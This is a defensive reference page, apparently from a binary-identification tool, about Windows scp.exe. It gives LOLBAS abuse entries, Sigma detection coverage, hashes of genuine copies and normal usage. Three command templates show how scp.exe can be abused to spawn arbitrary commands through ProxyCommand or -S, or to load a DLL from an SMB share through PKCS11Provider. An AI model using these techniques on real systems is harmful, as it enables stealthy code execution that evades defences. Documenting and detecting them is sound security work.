Identifier / Programs / Windows
scp.exe
Secure copy. Copy files between hosts using Secure Copy Protocol over SSH. tldr-pages
LOLBAS Execute 1 ATT&CK technique 3 documented commands 3 known copies with hashes
How scp.exe is abused
Execute T1202 Indirect Command Execution
-oExecute T1202 Indirect Command Execution
-sEach abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for scp.exe.
3 documented commands
Execute T1202 Indirect Command Execution User privileges
Spawns specified command from scp.exe -> ssh.exe, even if no SSH server is running on localhost (or any other address specified).
scp.exe -o ProxyCommand="{CMD}" . localhost:.Trips 1 Sigma rule: mediumProgram Executed Using Proxy/Local Command Via SSH.EXE by frack113, Nasreddine Bencherchali
Execute T1202 Indirect Command Execution User privileges
Spawns specified command from scp.exe -> ssh.exe, even if no SSH server is running on localhost (or any other address specified).
scp.exe -S "{CMD}" . localhost:.Trips no Sigma process-creation rule.
Execute T1218 System Binary Proxy Execution User privileges
Loads a DLL from an absolute path or SMB path into child process ssh.exe by abusing the PKCS11Provider option. The payload executes upon DLL load (DllMain) and requires exporting C_GetFunctionList to prevent premature termination by scp.exe.
scp -o PKCS11Provider="{PATH_SMB:.dll}" . win@github.com:.Trips no Sigma process-creation rule.
1 of the 3 commands the identifier reads trips a Sigma process-creation rule; 2 trip none. These commands and their descriptions are from LOLBAS’s entry for scp.exe, by BinFault, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for scp.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real scp.exe?
C:\Windows\system32\OpenSSH\3 known copies
8.1.0.1 · C:\Windows\system32\OpenSSH\scp.exe · signed by Microsoft Windows
9f109ced3d575702764073be91f83e46501db38659c6192e76a30e219f7ca9ac8.1.0.1 · C:\WINDOWS\system32\OpenSSH\scp.exe · signed by Microsoft Windows
b30788c8d6fbcc8d037bda55b99813cbf6e3dd57d8a05aa1982a581da8bea6697.7.2.1 · C:\Windows\system32\OpenSSH\scp.exe · signed by Microsoft Windows
8860e4273f59caa71fa585697e291270f94cee83439e5c94726d918d7c72f362From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.
Everyday use
Copy a local file to a remote host
scp path/to/local_file remote_host:path/to/remote_fileIdentifyUse a specific port when connecting to the remote host
scp -P port path/to/local_file remote_host:path/to/remote_fileIdentifyCopy a file from a remote host to a local directory
scp remote_host:path/to/remote_file path/to/local_directoryIdentifyNone of the 3 examples the identifier reads matches LOLBAS abuse or trips a Sigma process-creation rule.